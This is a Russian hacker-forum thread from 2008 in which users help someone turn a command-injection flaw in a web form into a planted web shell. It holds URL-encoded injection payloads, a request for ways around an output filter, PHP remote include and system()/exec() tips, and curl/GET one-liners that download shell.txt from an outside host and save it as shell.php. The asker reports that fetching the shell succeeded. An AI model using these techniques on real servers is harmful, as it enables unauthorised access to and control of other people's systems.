Как создать файл имея возможность выполнить команду интерпретатора?

Discussion in 'Песочница' started by n0mie, 27 Aug 2008.

  1. n0mie

    n0mie New Member

    Joined:
    28 May 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Есть уязвимость - не фильтруются параметры формы, что позволяет выполнить команду интерпретатора. Например, вот так:
    param1=180%3Bcp+include%2Ffile1.txt+include%2Ffile2.txt%3B
    после этого файл копируется. Моя задача - получить шелл на сервак, для этого пытаюсь перенаправить вывод, что-то типа
    param1=180%3Becho+test%3Einclude%2Ffile.txt%3B
    (%3E - это ">")
    Это не работает =( Файл не создаётся. Не пойму в чём дело.. Пробовал делать touch 123 - создаётся, а всё что содержит %3E ('>') не работает.
    Вопрос - как заставить работать перенаправление вывода или, быть может, есть другой способ имея возможность выполнить команду интерпретатора повесить шелл? Можно, конечно, попробовать скачать файл, но как-то это не универсально..
     
  2. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    2n0mie,

    Code:
    echo '<? echo("qwerty"); ?>' >> omgwtfbbq.php
     
  3. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    copy('remote file','localfile');
     
  4. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    А, точно, можно еще просто слить файл из инета:
     
  5. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Не подскажешь ли, давно в пхп появилась функция wget?
     
  6. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Гмм, стоп. Я че-то не понял, имеется ввиду выполнение Php-кода или команд на серве? :d А то я из поста автора не понял =\
     
  7. n0mie

    n0mie New Member

    Joined:
    28 May 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код. Как раз выполнить пхп код я и хочу )
    Можно, конечно, скачать файл с помощью wget/fetch, но хочется универсального решения, т.к. движок бывает и на винде и на юнихах..
    Перенаправление в файл не работает, т.к. фильтруется вот таким образом:
    $QWE = array('&' => '&amp;', '"' => '&quot;', '<' => '&lt;', '>' => '&gt;', '%26' => '&amp;', '%22' => '&quot;', '%3C' => '&lt;', '%3E' => '&gt;','%27' => ''', "'" => ''');
    $_POST[$key] = strtr(stripslashes($value), $QWE);
    Возможно есть способ обойти такой фильтр, чтобы > не поменялось на &gt;?
     
  8. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    n0mie
    Универсального кроссплатформенного решения боюсь нет :)

    Дык, wget'ом получилось залить?

    .Slip, я был прав! :p
     
    #8 Nek1t, 27 Aug 2008
    Last edited: 27 Aug 2008
  9. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Nek1t
    видишь разницу между /bin/bash и интерпритарором php

    2TS
    не обязательно его копировать на сервер ты можешь его исполнить с удаленного сенрвера функцией include() require() require_once() и так далее залив на свой сервак шелл в plain_text например в .txt

    Получить шелл ты можешь функцией system() exec() passhru() и так далее.
    php.net тут справочник по функциям.

    ------------------------

    update
    мда...
     
    #9 guest3297, 28 Aug 2008
    Last edited: 28 Aug 2008
  10. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    [ cash ]
    ТС несколько путает интерпритатор PHP и /bin/bash.

    Так вот насколько я понял, все таки имеется ввиду выполнения комманд /bin/bash
     
  11. n0mie

    n0mie New Member

    Joined:
    28 May 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Имхо просто не внимательно читаете..
    "Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код."

    Скачать файл получилось.. Только не wget, а fetch'ем..
     
  12. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Просто привык, что обычно интерпритатором называют PHP. Но собсно я изначально про /bin/bash говорил.
    Гланое, что утерли нос [ cash ] и .Slip :p
     
  13. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Кстати есть довольно удобное решения для nixоподобных серверов когда нет возможности запустить wget или его нет.
    для таких целей можно пролазеть, грубо вырожаясь через зад.
    Часто сталкивался что только такие методы помогали.
    curl http://size.com/shell.txt|cp /dev/stdin /dir/shell.php
    GET http://size.com/shell.txt|cp /dev/stdin /dir/shell.php
     
  14. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    (c)ICEMAN-666
     
  15. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    в том то и дело что часто встречался с фильтром символов таких как ">"
     
Loading...
Similar Threads - создать файл имея
  1. Loents
    Replies:
    14
    Views:
    2,676